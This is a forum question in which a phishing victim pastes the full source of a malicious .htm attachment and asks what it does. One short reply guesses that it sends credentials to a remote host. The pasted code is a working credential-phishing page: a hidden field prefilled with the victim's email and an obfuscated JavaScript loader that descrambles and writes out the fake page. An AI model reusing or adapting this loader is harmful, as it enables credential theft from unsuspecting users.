0

I messed up... I opened the htm file using chrome and entered my password... Upon realising that it wasn't a legit attachment, I immediately changed my Microsoft account password. However, I don't understand the code inside the .htm script. I am not sure if it is simply a phishing file or if it also installs any kind of malware on my chrome browser/ my laptop. Can anyone understand this script and explain to me what it is trying to do ? Any suggestions on whether I need to reinstall my chrome browser or run any virus detection software on my laptop given they are compromised? Thanks!

<script type="text/javascript">
    document.write(unescape('%3Cinput%20type%3D%22hidden%22%20id%3D%22ec8%22%20value%3D%22<my_email_address>%22%20%2F%3E'));
    </script>

<html dir="ltr" lang="en">

<script>(()=>{for(j=function(){for(h='Uczwbf6_mmm~7nW6t^D',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("vg=eqksaicoo/lhouliasi%3Crsgncens8l%20o=ti=fnc%3Ekfcp=:e/d%22%20deetfam/satrt.te//ksolutoeoarenc-//scd0ianhatwemgscfeu-asc7enaltne.rr7lolyoscea9t=issaes%22rtfn=mutyhpyignisnnensti%3C6m.%20hXur%22t1Cj4Q.ZgaA2i.edwvBi%3C2j35nbI/xJtxal%3Epid%3EQmwp_%3CZmfda/oa/%22nc/tws.-z=aerosrr./d%20tsecs:b:2oashr=em.nicassnlo%20em%20ol%20prt/p%3C=cctt%20tpssslq.ir/g/doeejrlmtia.13eeutuFrs6.dfjcusm%3Ep-1th/ichctyc%20nUke/sistf=ntrf:rsmpkeymcpzt/i/a_uotoaetLa?h.b_/hsojbps%20tLayKrsp%20ss/sa%3E.c.Nce.c5%20daportu%3Cl.yvsb/%3Erhpiolhsy.ei%20sbjc=/.mvddac-d%3Cv%22oi=hllqcaa%20%3C%3C/c=/ai5b%3Erd%20%3Caebdpk44d.vdO=pf%20ucrhd%3Ci_o=/rivu/%20tvget.sa%3Eveiii%20cesv:%3Cdsti%22slonf%20cl%3Cd=cjdrtail%20sphe%3Eldn/ca%3EkipydoovsFsu%3Ed%20hgir%3Eatd.t=lhd/gcs.th-dae%3Cgputcp%20sngm2oar/e/si%3Cncfhrs/i.a.osxat%3C%3Esoo/eka/=p0tg1i3i%3Cub8fl/lm7a3drfps38dpv.4cc=e3a5ck17%3Es2vsonoenyra-kn=u8sil%22oam_r-m%20atnisig%3Eioos/slrgrkdtvicae%3Ef/m.ehic=na-tn%3Cog%20%3Cnpdnmi%3Elb/%22%3Esd:c%3C-ihis5bcavgy)s8/nndieacs3dtean%3E%3E.petes/rof3g/ea//sdnd/ligtis/7lee_m/:l_ao9%3Eeic6rbe/ddocigcs3sd0gt9fb%22_acf1r%3C.tvgcl8ee0%3Cofld%20smdomodr=g3gne%20ci%3Cig%3Cs/di=ad%20bcm%22.gbs%3E%3Etgss%22l/av=tvp2%3Cotie%206%20sipmbd=%22ghmpa%20h-=b=5b:bdg%3E=ee8%20i'1alssc%20o0dadint9rv%20%20a:dbsxOas%7Brw-8=shi:.nvyoum%20g'tmldo1osLBtaavpgdhtto&l%3Cc)s%20L3eolrs%20(;tlt%3C-9nys%7Ddtixpin:efitsc7slan%20udtvd=al4e/x-a%20ac=onis=ot2%20bngdbinnba%3Eocrm-cep-cbsficso:a2gtaao-p%3E,atoi:etnx0iwL_blnaFlaivegbssrR%20Plerao%5D'&%22igrosmeooe-nori%20tree=epe.lasl%22al=c%20adpleybPibtd%20e%20lahys%3Ct%20%3Eitdd%20nt%3E/hvsrdl%20%20hd%3Ed/3%22%3Codvr%3C%3C;v%3E%22tsvdvvbgi%20%3E%3CdiiP/dnt%3C%3Cv/%3C_G%3Es/el%3E%3C=p%3ErToltiidp_rmnoyd%3EadTs-vds=lxo%22eaai%20s%22prlmis%3Ccoem=tabl%3E=esiioia%20ebvp%3Cgvytei%22-id%5B-tnnlsii%20udaiaceo%3ExtnahAdb%3Etwr=dSae%3Edb%3C1ouxhedisi%3Et%20vadvawr=ig%20aes%20rodridvdpgl%22t%20_%22%20iv'o=ar-klv-i=n%3E%22id%20%20Wadn%3Edn-/i/reranoiv'dav%3E=i-v%20i%3C%3Eawis%3Eirvn%3Coi%20oisldl':drvpea%3Ci-=desmlc=riud%20la-%20cdrdvsl=o-r%3Ec%20at%3Cpc:e%3Eien%3EescedniadirsnallHi%3Cmndsiald-%3C%3Eit=cevftge%20eytvwl=h_%3Crld%3Cd%25:i7sa-ceol4eenmga%3Cp%3CtPixcsul=/fvf%20d%22tm=t%3C%3C%3Ecdadnenckr%3C2alasiiria=iwisliioelslmp%20-d%3Cvidae%3C-e%20idcsc=i%20%3Cpmctr%20i/cossfm%20hatd:dtisg/es=0o/..ai%3Es%3Eset1n%3E/.ni%22ki2ovSg%3Esaec/runnao7dprw%3Caad21e/v1ccl%20a59d%20w5-agva_C61%20iy=ld2%3Egvs%20%3Ere0sa4%20b;nporxin=%20rmaropn%3Ctkassieret%3Ee%3Cp%3Ci%20m%3Euhto/%3Eeslc=nda%3Camaanp4plr/fie-tl:f#ste_k/:o%3Esgh0tue/trmga1otnsaf%20actnaep%3E.n_8pit.e4=opt_a/h2i/8eh7enaher%20m5e_eaf/sde25r6vd7n7.cdo/73o%3Ccl%2057tmf:s%3Cracms5ki5%3Cvg=0/%3E%25/%20k%3Evtr%3Cy%3C4=siact#ac2:sd1i%20gde%20iam%20ir/%3Emnvl.l-=segidl-n-m2/tm%3Cit=tgpnc%3Cscd/5atod%3Ecthc8h/tdmlcee/i9sattaefm/es.tt/tmnaserao0%22d_dgitiu/tdtdac4r1%3Es06a6tsceb4_0_f34nasrg7faa7c.tn%206/s5=a4s%3Evlcra%20ir;%3Csklrer1prnabso.dU%20ao4wtks%3Eoawbs1%3E2s%3C.n-eck:1a%3Ea%20h=ctp/r2nea/anclvdp/s4b5%3E%3Episf%3C%3Etes%3Ei/%3Cgav8%3Cocv%3Ckavof=niddipposi5o/csc3eti/tbcedpvv/dis%3Eo0nc%20i%3C%3Etci:%3Eyhv%3E.eitresdddeottlipi%3Cnndwe3sl=lapd%3Cvlbaecandd8n-c=5hs%3Eitti%200ain/pi-en%22ea%3Ciauvd3v%20%3Cisfonw%3Cct--=nwonudiuadehdi0nvt%3E_%20s=wd=%3C%20%3Cvuts41i%3Co1%3Errsi/=vteiicerpwo7xdu%20ldaiaHttfelsgaee%20%3Eves%22%20lvne/oi--dyeid%20d%3Ceti%3Ce1ko/eit-dls=g%20%22du%20%3E%207axe--csv%3C%20sncd=e3t7/aale%3Cl1/neaa:u%20v%3E=sud%20/%3EOe%20dcovn/%3Eol%20%3E%3C-dsl%3Ct%3Ev%3C=it%3Eovie%3Cadsrnwiead%22r%3Cl-rdrme=rrva=iec=%3Eeltrrieevtn_yodaorcvars=dtobeioi%20tsp%3Cici%3Calvgt2vrmd%20d==etlrl%3E%20t%20ettrpee=%20sio%3Ctea-/tod-%3Cir%20d/onvid%3Clmai%3E%3Cbsb/aa%20%3E%3Eiamo%3Evysse=derrnciltl%3C%22fgaime-aa%3E%22tsp=d%20do4ix%20l-c%3C%22l2rillik%20uhr%3Ei%3Eviciteiftnc%3Clrplr%22-toenonve=re%20edtl-ad-%22as=ncmolsrapia%20tmiim%22l%20srnr%3Esee%20etio-e%20o@lacdvretena%3E%20%22dtd/=o:ieavad%3CpxSs/eisi/ye%20/-Crts%3Evl=sc=%3Clivatipa%22l%20ooty%3E%20d%20lcpr%3Eurtd=svsosvmcilsii2omiuslaoo%22dcvcaall-dihclnc=%3Eeaxtls-%20ldxemno=onvdceahrfi=p%3Ests%3E=sm%20c%20ir%20%3C#seco%20%3E_arfaiosiy/v%20er%3C%20%3Cn%20/%3Eucvs%3Cadd%20%3Coritasli%3Cviln/ci%3Cadi==/slll%20%3E%20ro%3Esdcacv%22tsi%22%3Cnavsgr-io%20%22iimxb%3Ckddptr%3Ce4rngvan%3Efl%20-bd%3E-io=iChia%3Colsl%20nrob%22v%20olcnleltntaaomb=-kovcda%20.%22edbusver-snsckvbadps%3Etn%3Ec%22e%3Enmromai/vNt3t%20%3Csr/%3E%22tl%3C%3Ceddt%3Clviuw%20td%3Cvio4/diiw/i%3Cv/nnnvd%3Evp1div%20-ive_d2%20%3C=l%3Ci%3Eiscs%3Ete%3Ea:dr%3Eacvyi%3C%3Eet%3Ce%3C%20t%3Enan%20%22eiia-cti%20iuddot%22%20aovdli=/dxviaisoiec%3C-na%3Cc-vtdt%20?n%3E-rsevl=sBrtr#icydsy-t%20%3E%3Ebtbaastt%20p=suligu%3Cdt:p=ogscdhtusenni/synht/%E2%80%99tflac-.to/cssbtettu=/-owenu-/tnn%3C_fti%3Eoo%20_1stnn4eal/1ce9ll5e70t4l%3Ef8%3C%3Ea%3Cg60=n1b.s-%3Eb%3C%208ncltevacost=dbnsaii=n=d%3Cdtgv//ivt/iov/%20ansa%3Evc%3Eie%20idsvmtdr/s-il%22%3Cpl/diinc%3Egmsmaev-ebntaotdieedp1cBna-%20rii6ysynnfv-rd%3Cwrbr/%22a/s%3Eao-nid3%3Ed%20e%22t%3Ed%22iEvxr=sd-4ys%20ita%3Ceii%3E%20=vnmaoa%3Eg-rdl=ot=aeht%3C.l=%3Ca2srerp%20-nrst-lru%20dxfhnoss.ewsPm%20rfrYshd%20sos-2%20elndeid%20pa%22%3Cc%20aiaai%20%20csaeliite/%3Cnoe%3Ceopuastt%3Eitlsiwredk7lcs%222om%3Cl%3Cea%20gm=%3C%3Ec=ef2f-s%20l%20drsi%3Croav-e4rvdon=crs%3Cte%3E%20e%3Eoa-tdr%22n=st%20teylpaerS%20eilacylSgw-itdcinc%20vaaslsl,ssvdricei/etaia/%22aairte%3Cc%3C%20r%3E%20-ir%3Eeasdd%3E-ole%3Ettre%3Eirar%3Crcux/%3Er-%3C%3Cvv%3Cst%3Cr%20v%22sc%20orrinla-s%20rrbd-dd%20%20aee-tes=ri%22==gyrri%3E:aleardlsvayo%20isevveslo%3Eei%20elosp%20daol%20a=atxac-ari%22=se%3Etral%20sesseprsnasmoaemouYrrsvadsahoor%20rrvpdo%3E%20oaprstdr%22loiia=yfwi%22-cl.ec%20sntnlrsyrIueemnm,o%20%20rsnsnor%20eunadr%20tshblsa=ig%3Cwafs:il%20ie.%3Cevrlr%3Cvdoavedevhaindpd%20teCe%3Cciaeropsr%3Ecrs-e%20acdnpln%20ur=lla-nps%20=i%20sl/tooe%20dtedr%20%20ews%20ar%20mo=d%3Esl-coer%20sParspleeaiapvyle=edo=welp/setrrtm%20r%3Eatfwaaat%20=dt%20s-=c%20lid%3Cfbri/oivr/orve/tosa%3Evsris%20t%3Csvrodc=p%3Cslp%3Eruptsl%3Ecrvtis%3E%3Eoniloaosorwooadnd/2drdtrcsl=l-=tccaos-xm%3Ee%20s%20%22nct-%3Covouid%3Ee3vwiakm'%3Ctast=iopo%22vteri-osus%3Cfae%3Ewmtr%3C-%3EF=rae%20goor%3Copvdo%20ml/d%3Efiignlsdvdr-/%3C%20%3E=%3Cod=g%3Chi%20biod%3Cmudc/4iie/rev/l%3Cdvd%3Ev%20%20d1vdmivlrd=%20/i%3C%3Cc#e%3Ciitrd%3E%3E=ss%20inc%3E%20%3Cpt%3Eosaov%3Ccsla%3Co%20-aapxy-ttnn-grop%20tg4pa0f%3E-=oh2cci%3Edieii%3Ef%3Esoioxnrs%3Cv%3Cpcsllbsntinlianabks%3Elt%20c=%20%20b%20onib%20-rn%3Clhigk-rstv-bincf%20m/cs%3Eoi%22tl/tu%3Clns#/g%3Eiv%3Cvt/nn%3E-//%20%3Etdd%3Eua%3C/%3Eid%3C=%3C%22ddi%3Cdsi%3C-%3C/i%3Cvis=/-i%20sdi%3E%3E/els=s%3E%3E%3Ervsctesv%3Ctis%22awnadvaoneiwelwoutpe%20e%20bdv-nmtc%22rbeg-%3Eddigda%3Ea%3Ca%20dnal%20obdi%20%20b%22co%20/%20%20i%20-l%20%20%3Cic%20%20%20s%20%22%20d%20a=%20%20a%20%7Bvvt%20'%20%20aofvuos:%20uo%20%3E%3Ci(rtbi-L%22g%20%20lln%20g%3Cei%20%20U,%3El%20-%20kn%20o%20w%20iavdu%20%20%3CbcigN%20n%20n:no=%3Eaeoiate=ed%3Efriged%0A%3Co%20Dllync%20f%20rwvecdsdvd%22enin%20ocai%7D%3Ein%20%20aeo%3Cddd%22!o'nn%3Eda-%20akrtptdi%20)f%20%3Cemfl%20e%0Ao%20%20ocov%20%20%20p/%20on%20rd%20%20Mi%20%20b%3C%20-uedc%20%20%20%20%20m%20otltr%20tur%20vhb%20%20sat%20%20%20esSu%20l%20%20l%20M%20r%20s=k%20%20%20%20ir:%20%7B%20r%20%20d%20pua%20%20%20%20%20v%20%20n%20%20t%20%0AnD%20i:'%20,%20s%3E%20:-s%20%20%0A%20%20%20e=og%20%20r%20/'%20%20%20f%0A%20vbN%20:%20aat%20%20fueeae%20B%20uds%0AhofDlkc%20sdNnreuoku%20,a%20,wuf-u%20d%20%20%0Aet%20ao%20%7B%20%20)%20%20%20%20%20%20ae%20(dD%20%20%20tur%20%20:rB%20cn'o%20ekase%20Uggd%20nu%20d%20kok,%20a%20%20d%20%20olcn%20%20%20ht%20L%20%20%0Aa%20%20ki%20%20%20msco%20bn%20o%20%20%20g%20%20%20L:%20'%20a%20en%20w%20%20uDl%20%20t%20%20a%20%20%20v%20o:%20m%20%20u%20v%20%20n%0ABf%20%20%20m%20%20e%20a%20o%20%20iC%20%20c%20eneg:l%20tt%20%20:unmtktaarr%20%20en%20%0Aok(o%20%20eC%20%20%20%20%20%20a%20ew%20ko%20Bew%20%20na%20sst%20D%20%20i%20%20%20%20Dlou%20%20%20%20oorehrat%20%20hkigboe_%7Bnl%20cg%20de%0A%20bf=l%7D%0A:c%20axe%22Crd%3E%20%20,oeso%20gectoncsriN%20:%20nLsd%20%20otttci-%20r%22elr/:rsrah%20tt%20/e%20r%20_%20%20emsw%20gfb.ss/p,ri%20g%20meo-%20%20eeaecec%20=s%20u%20a%20rnr%20T%20rt%20dg%20=i:%20f%5Btsat%7Dxo:F%20rmr_nstc_esM%20%20_nofer%20r,L%20a%20mete%20%20ek::%20ro%20c't%3EesrtL%20gkw%20%22%20m%20%20C,fwDsrei)ekn%3E%3C%20mts%3Co=U%22freo%20%20%20eavoeTl/sotri.hht%20itae,m%20v.sc-ypSyr%20l/'ne%20/c%20tfrOa=iUi%20imTnaad-=ayermnb%20t%20idst%5Btitf:iRi/LB-=%20erL'_%3CIasoxrn%20cvO_idr%20ProaMie_cfiLci'%20ep=ip%20yrtihctIyaanDo%20cr%22hcvtCc%3Eosaivigvkr%3EkcviT;orvka%3Cry%7Dfofile/Phfmmr_o=s%3Ce%22cda=dmeinre%22upeserSdEmxdOsiri%20Spddri%3C%20eyplEeoaa%20t%5Do%22lnf.l-iao%5D=apeeekcurelSlfLri%20obot%20%20nrartl//%20cninm%20tao:%20e%20%22oib/b%3En:e%0Afyc%20caRIr=%20Bckr%20%0A:edsl%20oO%20%20%20ofma,t%20%20t%20mtan%20o%20C%5B%20%20nc:=sps'%20:oaia__nr_k%20OCtavstks_-ia'eol%20oibLttlii%20saeh%20%20b,tfatteF%7Bacx%20%20oth%20:ascd%20dlrsr#D-g%20so.:walins%20lt'%20)u-os%20%20)tP%20%0A%20%20%20n%20(augcakMu%20ht=:Tfops%20i(okShtbcrTsrEl=euoegfll%22:p=o,ic%5Dhtosenni_%0A%20nht/,rf'aca.ta/crrotettkr/oop%20nui/t%20Di3_ti&iiSs0h6nc0enrRc9sa%20ta%20bso7ie65aapac4cpl.ovddl8et0,e%20aa%20sniote%20%20tgAmsxnacsdblbc/pcCr%20%20/=%20abfmghcrdedtLsnaesr/n/..as_s/seM1nt/.smFil2on%20g5scil/%7Dfn16n88es%20p0de1%20a/E89l5%3C.6da_e5scse4f%22ea2=diacnr%20e-etgtcsro1isa/tnTst=pt(/nmsgMtg/e:di)uthtcts.1.rudm/ns%20%20ncesoi.ll2and65tgi.ip_4man92eeie5d3de28b9%3Edc6b1aa6d%20mcdiegp%20asg7pp6dgp.dirsa/oa/sn%3CSht3%20h2scsI6taem0/daeurceest1%3Eoiea_f/s/_nht_9delagya27k3gmeiae36b5de/f33ci2b9.ao5rmsceat%208lt:=9cd4s0vdisb3iasarnnap%20Mbcnptbi86smcstt-=crvf/huh:d2m.f16t=tta///enann=.l/l1ttceeei0_iottcl3i6lscpca/b6d5srtf567as6p0d5e6h.0f6t/6o9sm4ese01iaia0nsie=et.td:rogmoa/tn2atsptl/nnsgd/s/e:d%20.u.ht9tst1.ge4m/nsssnnesbi.rl2./b_etgd.ig_5tynede2ee71rbsnabectfgve9e4S%3Cge9sg4p.it%3E6%20v62gai/va06dovvsdsn%3Ed3%20/vd%3C%3Efsia%3Ee5i%3Enbircmot/5=ep9_ace%3C/7lhtpsipctf0=22o5d/l3ab04ydpch5cr3ccb2s6d65b8s=dhlfv//%3E%3C/mis%3E%3C/%20sts.g/nv3%3C/d.vg%3C/ds2cs2/i/%3E")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

</html>
1
  • Lots of obfuscation is present here, but it's likely just sending your creds to a remote address. Doesn't appear to be any malware deployment
    – belkarx
    May 21 at 16:39

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.